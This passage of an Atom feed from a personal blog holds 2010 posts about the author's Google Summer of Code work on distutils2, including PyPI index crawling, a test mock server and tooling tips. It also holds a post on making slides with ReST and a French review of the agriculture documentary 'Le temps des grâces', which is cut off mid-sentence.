&lt;p&gt;I'm not plainly satisfied by the work I've done, so I'll probably
tweak it a bit: the installer part is not yet completely finished,
and I want to add support for a real
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Representational_State_Transfer"&gt;REST&lt;/a&gt;
index in the future.&lt;/p&gt;
&lt;p&gt;We'll talk again of this in the next months, probably, but we
definitely need a real
&lt;a class="reference external" href="http://en.wikipedia.org/wiki/Representational_State_Transfer"&gt;REST&lt;/a&gt;
API for &lt;a class="reference external" href="http://pypi.python.org"&gt;PyPI&lt;/a&gt;, as the &amp;quot;simple&amp;quot; index
&lt;em&gt;is&lt;/em&gt; an ugly hack, in my opinion. I'll work on a serious
proposition about this, maybe involving
&lt;a class="reference external" href="http://couchdb.org"&gt;CouchDB&lt;/a&gt;, as it seems to be a good option
for what we want here.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="issues"&gt;
&lt;h2&gt;Issues&lt;/h2&gt;
&lt;p&gt;I've encountered some issues during this summer. The main one is
that's hard to work remotely, especially being in the same room
that we live, with others. I like to just think about a project
with other people, a paper and a pencil, no computers. This have
been not so possible at the start of the project, as I needed to
read a lot of code to understand the codebase, and then to
read/write emails.&lt;/p&gt;
&lt;p&gt;I've finally managed to work in an office, so good point for
home/office separation.&lt;/p&gt;
&lt;p&gt;I'd not planned there will be so a high number of emails to read,
in order to follow what's up in the python world, and be a part of
the community seems to takes some times to read/write emails,
especially for those (like me) that arent so confortable with
english (but this had brought me some english fu !).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="thanks"&gt;
&lt;h2&gt;Thanks !&lt;/h2&gt;
&lt;p&gt;A big thanks to &lt;a class="reference external" href="http://www.graine-libre.fr/"&gt;Graine Libre&lt;/a&gt; and
&lt;a class="reference external" href="http://www.makina-corpus.com/"&gt;Makina Corpus&lt;/a&gt;, which has offered
me to come into their offices from time to time, to share they
cheerfulness ! Many thanks too to the Google Summer of Code program
for setting up such an initiative. If you're a student, if you're
interested about FOSS, dont hesitate any second, it's a really good
opportunity to work on interesting projects!&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Introducing the distutils2 index crawlers</title><link href="https://blog.notmyidea.org/introducing-the-distutils2-index-crawlers.html" rel="alternate"></link><published>2010-07-06T00:00:00+02:00</published><updated>2010-07-06T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-07-06:/introducing-the-distutils2-index-crawlers.html</id><summary type="html">&lt;p&gt;I'm working for about a month for distutils2, even if I was being a
bit busy (as I had some class courses and exams to work on)&lt;/p&gt;
&lt;p&gt;I'll try do sum-up my general feelings here, and the work I've made
so far. You can also find, if you're interested, my …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I'm working for about a month for distutils2, even if I was being a
bit busy (as I had some class courses and exams to work on)&lt;/p&gt;
&lt;p&gt;I'll try do sum-up my general feelings here, and the work I've made
so far. You can also find, if you're interested, my weekly
summaries in
&lt;a class="reference external" href="http://wiki.notmyidea.org/distutils2_schedule"&gt;a dedicated wiki page&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="general-feelings"&gt;
&lt;h2&gt;General feelings&lt;/h2&gt;
&lt;p&gt;First, and it's a really important point, the GSoC is going very
well, for me as for other students, at least from my perspective.
It's a pleasure to work with such enthusiast people, as this make
the global atmosphere very pleasant to live.&lt;/p&gt;
&lt;p&gt;First of all, I've spent time to read the existing codebase, and to
understand what we're going to do, and what's the rationale to do
so.&lt;/p&gt;
&lt;p&gt;It's really clear for me now: what we're building is the
foundations of a packaging infrastructure in python. The fact is
that many projects co-exists, and comes all with their good
concepts. Distutils2 tries to take the interesting parts of all,
and to provide it in the python standard libs, respecting the
recently written PEP about packaging.&lt;/p&gt;
&lt;p&gt;With distutils2, it will be simpler to make &amp;quot;things&amp;quot; compatible. So
if you think about a new way to deal with distributions and
packaging in python, you can use the Distutils2 APIs to do so.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="tasks"&gt;
&lt;h2&gt;Tasks&lt;/h2&gt;
&lt;p&gt;My main task while working on distutils2 is to provide an
installation and an un-installation command, as described in PEP
376. For this, I first need to get informations about the existing
distributions (what's their version, name, metadata, dependencies,
etc.)&lt;/p&gt;
&lt;p&gt;The main index, you probably know and use, is PyPI. You can access
it at &lt;a class="reference external" href="http://pypi.python.org"&gt;http://pypi.python.org&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="pypi-index-crawling"&gt;
&lt;h2&gt;PyPI index crawling&lt;/h2&gt;
&lt;p&gt;There is two ways to get these informations from PyPI: using the
simple API, or via xml-rpc calls.&lt;/p&gt;
&lt;p&gt;A goal was to use the version specifiers defined
in`PEP 345 &amp;lt;&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0345/"&gt;http://www.python.org/dev/peps/pep-0345/&lt;/a&gt;&amp;gt;`_ and to
provides a way to sort the grabbed distributions depending our
needs, to pick the version we want/need.&lt;/p&gt;
&lt;div class="section" id="using-the-simple-api"&gt;
&lt;h3&gt;Using the simple API&lt;/h3&gt;
&lt;p&gt;The simple API is composed of HTML pages you can access at
&lt;a class="reference external" href="http://pypi.python.org/simple/"&gt;http://pypi.python.org/simple/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Distribute and Setuptools already provides a crawler for that, but
it deals with their internal mechanisms, and I found that the code
was not so clear as I want, that's why I've preferred to pick up
the good ideas, and some implementation details, plus re-thinking
the global architecture.&lt;/p&gt;
&lt;p&gt;The rules are simple: each project have a dedicated page, which
allows us to get informations about:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;the distribution download locations (for some versions)&lt;/li&gt;
&lt;li&gt;homepage links&lt;/li&gt;
&lt;li&gt;some other useful informations, as the bugtracker address, for
instance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to find all the distributions of the &amp;quot;EggsAndSpam&amp;quot;
project, you could do the following (do not take so attention to
the names here, as the API will probably change a bit):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SimpleIndex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;EggsAndSpam&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We also could use version specifiers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;EggsAndSpam (&amp;lt; =1.2)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Internally, what's done here is the following:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;it process the
&lt;a class="reference external" href="http://pypi.python.org/simple/FooBar/"&gt;http://pypi.python.org/simple/FooBar/&lt;/a&gt;
page, searching for download URLs.&lt;/li&gt;
&lt;li&gt;for each found distribution download URL, it creates an object,
containing informations about the project name, the version and the
URL where the archive remains.&lt;/li&gt;
&lt;li&gt;it sort the found distributions, using version numbers. The
default behavior here is to prefer source distributions (over
binary ones), and to rely on the last &amp;quot;final&amp;quot; distribution (rather
than beta, alpha etc. ones)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, nothing hard or difficult here.&lt;/p&gt;
&lt;p&gt;We provides a bunch of other features, like relying on the new PyPI
mirroring infrastructure or filter the found distributions by some
criterias. If you're curious, please browse the
&lt;a class="reference external" href="http://distutils2.notmyidea.org/"&gt;distutils2 documentation&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="using-xml-rpc"&gt;
&lt;h3&gt;Using xml-rpc&lt;/h3&gt;
&lt;p&gt;We also can make some xmlrpc calls to retreive informations from
PyPI. It's a really more reliable way to get informations from from
the index (as it's just the index that provides the informations),
but cost processes on the PyPI distant server.&lt;/p&gt;
&lt;p&gt;For now, this way of querying the xmlrpc client is not available on
Distutils2, as I'm working on it. The main pieces are already
present (I'll reuse some work I've made from the SimpleIndex
querying, and
&lt;a class="reference external" href="http://github.com/ametaireau/pypiclient"&gt;some code already set up&lt;/a&gt;),
what I need to do is to provide a xml-rpc PyPI mock server, and
that's on what I'm actually working on.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="processes"&gt;
&lt;h2&gt;Processes&lt;/h2&gt;
&lt;p&gt;For now, I'm trying to follow the &amp;quot;documentation, then test, then
code&amp;quot; path, and that seems to be really needed while working with a
community. Code is hard to read/understand, compared to
documentation, and it's easier to change.&lt;/p&gt;
&lt;p&gt;While writing the simple index crawling work, I must have done this
to avoid some changes on the API, and some loss of time.&lt;/p&gt;
&lt;p&gt;Also, I've set up
&lt;a class="reference external" href="http://wiki.notmyidea.org/distutils2_schedule"&gt;a schedule&lt;/a&gt;, and
the goal is to be sure everything will be ready in time, for the
end of the summer. (And now, I need to learn to follow schedules
...)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Sprinting on distutils2 in Tours</title><link href="https://blog.notmyidea.org/sprinting-on-distutils2-in-tours.html" rel="alternate"></link><published>2010-07-06T00:00:00+02:00</published><updated>2010-07-06T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-07-06:/sprinting-on-distutils2-in-tours.html</id><summary type="html">&lt;p&gt;Yesterday, as I was traveling to Tours, I've took some time to
visit Éric, another student who's working on distutils2 this
summer, as a part of the GSoC. Basically, it was to take a drink,
discuss a bit about distutils2, our respective tasks and general
feelings, and to put a …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yesterday, as I was traveling to Tours, I've took some time to
visit Éric, another student who's working on distutils2 this
summer, as a part of the GSoC. Basically, it was to take a drink,
discuss a bit about distutils2, our respective tasks and general
feelings, and to put a face on a pseudonym. I'd really enjoyed this
time, because Éric knows a lot of things about mercurial and python
good practices, and I'm eager to learn about those. So, we have
discussed about things, have not wrote so much code, but have some
things to propose so far, about documentation, and I also provides
here some bribes of conversations we had.&lt;/p&gt;
&lt;div class="section" id="documentation"&gt;
&lt;h2&gt;Documentation&lt;/h2&gt;
&lt;p&gt;While writing the PyPI simple index crawler documentation, I
realized that we miss some structure, or how-to about the
documentation. Yep, you read well. We lack documentation on how to
make documentation. Heh. We're missing some rules to follow, and
this lead to a not-so-structured final documentation. We probably
target three type of publics, and we can split the documentation
regarding those:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Packagers&lt;/strong&gt; who want to distribute their softwares.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;End users&lt;/strong&gt; who need to understand how to use end user
commands, like the installer/uninstaller&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;packaging coders&lt;/strong&gt; who &lt;em&gt;use&lt;/em&gt; distutils2, as a base for
building a package manager.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also need to discuss about a pattern to follow while writing
documentation. How many parts do we need ? Where to put the API
description ? etc. That's maybe seems to be not so important, but I
guess the readers would appreciate to have the same structure all
along distutils2 documentation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mercurial"&gt;
&lt;h2&gt;Mercurial&lt;/h2&gt;
&lt;p&gt;I'm really &lt;em&gt;not&lt;/em&gt; a mercurial power user. I use it on daily basis,
but I lack of basic knowledge about it. Big thanks Éric for sharing
yours with me, you're of a great help. We have talked about some
mercurial extensions that seems to make the life simpler, while
used the right way. I've not used them so far, so consider this as
a personal note.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;hg histedit, to edit the history&lt;/li&gt;
&lt;li&gt;hg crecord, to select the changes to commit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We have spent some time to review a merge I made sunday, to
re-merge it, and commit the changes as a new changeset. Awesome.
These things make me say I &lt;strong&gt;need&lt;/strong&gt; to read
&lt;a class="reference external" href="http://hgbook.red-bean.com/read/"&gt;the hg book&lt;/a&gt;, and will do as
soon as I got some spare time: mercurial seems to be simply great.
So ... Great. I'm a powerful merger now !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="on-using-tools"&gt;
&lt;h2&gt;On using tools&lt;/h2&gt;
&lt;p&gt;Because we &lt;em&gt;also&lt;/em&gt; are &lt;em&gt;hackers&lt;/em&gt;, we have shared a bit our ways to
code, the tools we use, etc. Both of us were using vim, and I've
discovered vimdiff and hgtk, which will completely change the way I
navigate into the mercurial history. We aren't &amp;quot;power users&amp;quot;, so we
have learned from each other about vim tips. You can find
&lt;a class="reference external" href="http://github.com/ametaireau/dotfiles"&gt;my dotfiles on github&lt;/a&gt;,
if it could help. They're not perfect, and not intended to be,
because changing all the time, as I learn. Don't hesitate to have a
look, and to propose enhancements if you have !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="on-being-pythonic"&gt;
&lt;h2&gt;On being pythonic&lt;/h2&gt;
&lt;p&gt;My background as an old Java user disserves me so far, as the
paradigms are not the same while coding in python. Hard to find the
more pythonic way to do, and sometimes hard to unlearn my way to
think about software engineering. Well, it seems that the only
solution is to read code, and to re-read import this from times to
times !
&lt;a class="reference external" href="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html"&gt;Coding like a pythonista&lt;/a&gt;
seems to be a must-read, so, I know what to do.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It was really great. Next time, we'll need to focus a bit more on
distutils2, and to have a bullet list of things to do, but days
like this one are opportunities to catch ! We'll probably do
another sprint in a few weeks, stay tuned !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Use Restructured Text (ReST) to power your presentations</title><link href="https://blog.notmyidea.org/use-restructured-text-rest-to-power-your-presentations.html" rel="alternate"></link><published>2010-06-25T00:00:00+02:00</published><updated>2010-06-25T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-06-25:/use-restructured-text-rest-to-power-your-presentations.html</id><summary type="html">&lt;p&gt;Wednesday, we give a presentation, with some friends, about the
CouchDB Database, to
&lt;a class="reference external" href="http://www.toulibre.org"&gt;the Toulouse local LUG&lt;/a&gt;. Thanks a lot
to all the presents for being there, it was a pleasure to talk
about this topic with you. Too bad the season is over now an I quit
Toulouse next …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Wednesday, we give a presentation, with some friends, about the
CouchDB Database, to
&lt;a class="reference external" href="http://www.toulibre.org"&gt;the Toulouse local LUG&lt;/a&gt;. Thanks a lot
to all the presents for being there, it was a pleasure to talk
about this topic with you. Too bad the season is over now an I quit
Toulouse next year.&lt;/p&gt;
&lt;p&gt;During our brainstorming about the topic, we
used some paper, and we wanted to make a presentation the simpler
way. First thing that come to my mind was using
&lt;a class="reference external" href="http://docutils.sourceforge.net/rst.html"&gt;restructured text&lt;/a&gt;, so
I've wrote a simple file containing our different bullet points. In
fact, there is quite nothing to do then, to have a working
presentation.&lt;/p&gt;
&lt;p&gt;So far, I've used
&lt;a class="reference external" href="http://code.google.com/p/rst2pdf/"&gt;the rst2pdf program&lt;/a&gt;, and a
simple template, to generate output. It's probably simple to have
similar results using latex + beamer, I'll try this next time, but
as I'm not familiar with latex syntax, restructured text was a
great option.&lt;/p&gt;
&lt;p&gt;Here are
&lt;a class="reference external" href="http://files.lolnet.org/alexis/rst-presentations/couchdb/couchdb.pdf"&gt;the final PDF output&lt;/a&gt;,
&lt;a class="reference external" href="http://files.lolnet.org/alexis/rst-presentations/couchdb/couchdb.rst"&gt;Rhe ReST source&lt;/a&gt;,
&lt;a class="reference external" href="http://files.lolnet.org/alexis/rst-presentations/slides.style"&gt;the theme used&lt;/a&gt;,
and the command line to generate the PDF:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
rst2pdf couchdb.rst -b1 -s ../slides.style
&lt;/pre&gt;
</content></entry><entry><title>first week working on distutils2</title><link href="https://blog.notmyidea.org/first-week-working-on-distutils2.html" rel="alternate"></link><published>2010-06-04T00:00:00+02:00</published><updated>2010-06-04T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-06-04:/first-week-working-on-distutils2.html</id><summary type="html">&lt;p&gt;As I've been working on
&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt; during the past
week, taking part of the
&lt;a class="reference external" href="http://code.google.com/intl/fr/soc/"&gt;GSOC&lt;/a&gt; program, here is a
short summary of what I've done so far.&lt;/p&gt;
&lt;p&gt;As my courses are not over yet, I've not worked as much as I
wanted, and this will continues until the end of …&lt;/p&gt;</summary><content type="html">&lt;p&gt;As I've been working on
&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt; during the past
week, taking part of the
&lt;a class="reference external" href="http://code.google.com/intl/fr/soc/"&gt;GSOC&lt;/a&gt; program, here is a
short summary of what I've done so far.&lt;/p&gt;
&lt;p&gt;As my courses are not over yet, I've not worked as much as I
wanted, and this will continues until the end of June. My main
tasks are about making installation and uninstallation commands, to
have a simple way to install distributions via
&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To do this, we need to rely on informations provided by the Python
Package Index (&lt;a class="reference external" href="http://pypi.python.org/"&gt;PyPI&lt;/a&gt;), and there is at
least two ways to retreive informations from here: XML-RPC and the
&amp;quot;simple&amp;quot; API.&lt;/p&gt;
&lt;p&gt;So, I've been working on porting some
&lt;a class="reference external" href="http://bitbucket.org/tarek/distribute/"&gt;Distribute&lt;/a&gt; related
stuff to &lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt;, cutting
off all non distutils' things, as we do not want to depend from
Distribute's internals. My main work has been about reading the
whole code, writing tests about this and making those tests
possible.&lt;/p&gt;
&lt;p&gt;In fact, there was a need of a pypi mocked server, and, after
reading and introducing myself to the distutils behaviors and code,
I've taken some time to improve the work
&lt;a class="reference external" href="http://bitbucket.org/konrad"&gt;Konrad&lt;/a&gt; makes about this mock.&lt;/p&gt;
&lt;div class="section" id="a-pypi-server-mock"&gt;
&lt;h2&gt;A PyPI Server mock&lt;/h2&gt;
&lt;p&gt;The mock is embeded in a thread, to make it available during the
tests, in a non blocking way. We first used
&lt;a class="reference external" href="http://wsgi.org"&gt;WSGI&lt;/a&gt; and
&lt;a class="reference external" href="http://docs.python.org/library/wsgiref.html"&gt;wsgiref&lt;/a&gt; in order
control what to serve, and to log the requests made to the server,
but finally realised that
&lt;a class="reference external" href="http://docs.python.org/library/wsgiref.html"&gt;wsgiref&lt;/a&gt; is not
python 2.4 compatible (and we &lt;em&gt;need&lt;/em&gt; to be python 2.4 compatible in
Distutils2).&lt;/p&gt;
&lt;p&gt;So, we switched to
&lt;a class="reference external" href="http://docs.python.org/library/basehttpserver.html"&gt;BaseHTTPServer&lt;/a&gt;
and
&lt;a class="reference external" href="http://docs.python.org/library/simplehttpserver.html"&gt;SimpleHTTPServer&lt;/a&gt;,
and updated our tests accordingly. It's been an opportunity to
realize that &lt;a class="reference external" href="http://wsgi.org"&gt;WSGI&lt;/a&gt; has been a great step
forward for making HTTP servers, and expose a really simplest way
to discuss with HTTP !&lt;/p&gt;
&lt;p&gt;You can find
&lt;a class="reference external" href="http://bitbucket.org/ametaireau/distutils2/changesets"&gt;the modifications I made&lt;/a&gt;,
and the
&lt;a class="reference external" href="http://bitbucket.org/ametaireau/distutils2/src/tip/docs/source/test_framework.rst"&gt;related docs&lt;/a&gt;
about this on
&lt;a class="reference external" href="http://bitbucket.org/ametaireau/distutils2/"&gt;my bitbucket distutils2 clone&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-pypi-simple-api"&gt;
&lt;h2&gt;The PyPI Simple API&lt;/h2&gt;
&lt;p&gt;So, back to the main problematic: make a python library to access
and request information stored on PyPI, via the simple API. As I
said, I've just grabbed the work made from
&lt;a class="reference external" href="http://bitbucket.org/tarek/distribute/"&gt;Distribute&lt;/a&gt;, and played
a bit with, in order to view what are the different use cases, and
started to write the related tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-work-to-come"&gt;
&lt;h2&gt;The work to come&lt;/h2&gt;
&lt;p&gt;So, once all use cases covered with tests, I'll rewrite a bit the
grabbed code, and do some software design work (to not expose all
things as privates methods, have a clear API, and other things like
this), then update the tests accordingly and write a documentation
to make this clear.&lt;/p&gt;
&lt;p&gt;Next step is to a little client, as I've
&lt;a class="reference external" href="http://github.com/ametaireau/pypiclient"&gt;already started here&lt;/a&gt;
I'll take you updated !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>A Distutils2 GSoC</title><link href="https://blog.notmyidea.org/a-distutils2-gsoc.html" rel="alternate"></link><published>2010-05-01T00:00:00+02:00</published><updated>2010-05-01T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-05-01:/a-distutils2-gsoc.html</id><summary type="html">&lt;p&gt;WOW. I've been accepted to be a part of the
&lt;a class="reference external" href="http://code.google.com/intl/fr/soc/"&gt;Google Summer Of Code&lt;/a&gt;
program, and will work on &lt;a class="reference external" href="http://python.org/"&gt;python&lt;/a&gt;
&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;, with
&lt;a class="reference external" href="http://pygsoc.wordpress.com/"&gt;a&lt;/a&gt;
&lt;a class="reference external" href="http://konryd.blogspot.com/"&gt;lot&lt;/a&gt; &lt;a class="reference external" href="http://ziade.org/"&gt;of&lt;/a&gt;
(intersting!) &lt;a class="reference external" href="http://zubin71.wordpress.com/"&gt;people&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
So, it's about building the successor of Distutils2, ie. &amp;quot;the
python package manager&amp;quot;. Today, there is too&amp;nbsp;many ways to package a
python …&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;WOW. I've been accepted to be a part of the
&lt;a class="reference external" href="http://code.google.com/intl/fr/soc/"&gt;Google Summer Of Code&lt;/a&gt;
program, and will work on &lt;a class="reference external" href="http://python.org/"&gt;python&lt;/a&gt;
&lt;a class="reference external" href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;, with
&lt;a class="reference external" href="http://pygsoc.wordpress.com/"&gt;a&lt;/a&gt;
&lt;a class="reference external" href="http://konryd.blogspot.com/"&gt;lot&lt;/a&gt; &lt;a class="reference external" href="http://ziade.org/"&gt;of&lt;/a&gt;
(intersting!) &lt;a class="reference external" href="http://zubin71.wordpress.com/"&gt;people&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
So, it's about building the successor of Distutils2, ie. &amp;quot;the
python package manager&amp;quot;. Today, there is too&amp;nbsp;many ways to package a
python application (pip, setuptools, distribute, distutils, etc.)
so&amp;nbsp;there is a huge effort to make in order to make all this
packaging stuff interoperable, as pointed out by
the&amp;nbsp;&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0376/"&gt;PEP 376&lt;/a&gt;.&lt;/blockquote&gt;
&lt;p&gt;In more details, I'm going to work on the Installer / Uninstaller
features of Distutils2, and on a PyPI XML-RPC client for distutils2.
Here are the already defined tasks:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Implement Distutils2 APIs described in PEP 376.&lt;/li&gt;
&lt;li&gt;Add the uninstall command.&lt;/li&gt;
&lt;li&gt;think about a basic installer / uninstaller script. (with deps)
-- similar to pip/easy_install&lt;/li&gt;
&lt;li&gt;in a pypi subpackage;&lt;/li&gt;
&lt;li&gt;Integrate a module similar to setuptools' package_index'&lt;/li&gt;
&lt;li&gt;PyPI XML-RPC client for distutils 2:
&lt;a class="reference external" href="http://bugs.python.org/issue8190"&gt;http://bugs.python.org/issue8190&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I'm relatively new to python, I'll need some extra work in order
to apply all good practice, among other things that can make a
developper-life joyful. I'll post here, each week, my advancement,
and my tought about python and especialy python packaging world.&lt;/p&gt;
</content></entry><entry><title>Le temps des grâces, courrez-y !</title><link href="https://blog.notmyidea.org/le-temps-des-graces-courrez-y-fr.html" rel="alternate"></link><published>2010-03-28T00:00:00+01:00</published><updated>2010-03-28T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2010-03-28:/le-temps-des-graces-courrez-y-fr.html</id><summary type="html">&lt;p&gt;Ouf, notre
&lt;a class="reference external" href="http://www.reseaugrappe.org"&gt;semaine de l'environnement&lt;/a&gt; s'est
terminée, après un peu de neige et un brin de soleil quand il en
fallait.&lt;/p&gt;
&lt;p&gt;Ce fut l'occasion de rencontrer beaucoup de gens biens, et
de regarder d'un peu plus près toutes ces problématiques qui
mériteraient à elles seules, chacune un billet. Après un …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ouf, notre
&lt;a class="reference external" href="http://www.reseaugrappe.org"&gt;semaine de l'environnement&lt;/a&gt; s'est
terminée, après un peu de neige et un brin de soleil quand il en
fallait.&lt;/p&gt;
&lt;p&gt;Ce fut l'occasion de rencontrer beaucoup de gens biens, et
de regarder d'un peu plus près toutes ces problématiques qui
mériteraient à elles seules, chacune un billet. Après un répis
d'une semaine, pour récupérer des folies organisatrices (c'est ça
qui fait du bien, ceci dit -- les folies, pas le repos), je me
retrouve de nouveau sur ces mêms réflexions, grâce aux journées
organisées par
&lt;a class="reference external" href="http://www.fne.asso.fr/"&gt;France Nature Environnement&lt;/a&gt;, qui
proposaient ce jeudi soir une projection de &amp;quot;Le temps des grâces&amp;quot;,
un documentaire sur l'agriculture.&lt;/p&gt;
&lt;p&gt;Parce que depuis 60 ans, il est pratiqué le remembrement des
parcelles à gogo, parce que nos sols deviennent completement morts
à cause des tonnes d'intrants qu'on leur fait absorber, et parce
que les exploitations s'agrandissent sans en finir pour tenter de
réagir façe à un marché financier toujours plus insaisissable, mené
de très loin par la PAC, il fallait un film pour en parler. C'est
ce que fait &amp;quot;le temps des grâçes&amp;quot;, avec un bon sens et une facilité
à faire passer des messages, qu'on ne peut qu'applaudir.&lt;/p&gt;
&lt;p&gt;Malheureusement il s'agissait de la dernière diffusion à
&lt;a class="reference external" href="http://www.cinemas-utopia.org/toulouse/"&gt;L'Utopia de Toulouse&lt;/a&gt;...
Si vous en avez l'occasion, sautez dessus et profitez le temps de
ces 2 heures, ou vous pourrez écouter à la fois des discours
d'agronomes, d'agriculteurs, de chercheurs et bien d'autres, qui
dressent un constat pas si brillant de notre agriculture. On n'est
pas sorti de l'auberge, enfin, c'est l'expression.&lt;/p&gt;
&lt;p&gt;Je vous laisse avec le synopsis et une bande annonce.&lt;/p&gt;
&lt;blockquote&gt;
Une enquête documentaire sur
le monde agricole français aujourd'hui à travers de nombreux récits
: agriculteurs, chercheurs, agronomes, écrivains... Un monde qui
parvient à résister aux bouleversements qui le frappent -
économiques, scientifiques, sociaux - et qui, bon gré mal gré,
continue d'entretenir les liens entre générations. Un monde au
centre d'interrogations majeures sur l'avenir.&lt;/blockquote&gt;
&lt;p&gt;Ainsi qu'un commentaire que je ne peux m'empécher de relayer,
trouvé sur allocine.fr (oui, vous savez, ce site rempli de pubs).&lt;/p&gt;
&lt;blockquote&gt;
Le temps des grâces c'est je pense le plus grand film traitant de
l'écologie en tant que documentaire ou en sujet principal, on y
apprend une multitude de choses, on en ressort en colère contre le
système, le film propose différents points de vues, ici on a pas de
voix off moralisatrice à deux balles avec des gros titres bien
surlignés pour que même les beaufs matant TF1 puissent comprendre,
ici même si ça reste accessible au citoyen lambda, le film ne fait
pas de compromis avec le monde agroalimentaire, il ose dénoncer les
filière d'agronomie qui apprennent pas les bonnes choses à leurs
étudiants, aux lobbys de cette agro-industrie qui n'en fait qu'à sa
tête pour amasser de l'argent, cette tendance à tout uniformiser et
détruire… Franchement j'ai trouvé ça génial de bout en bout,
captivant, on explore cette campagne française, on comprend les
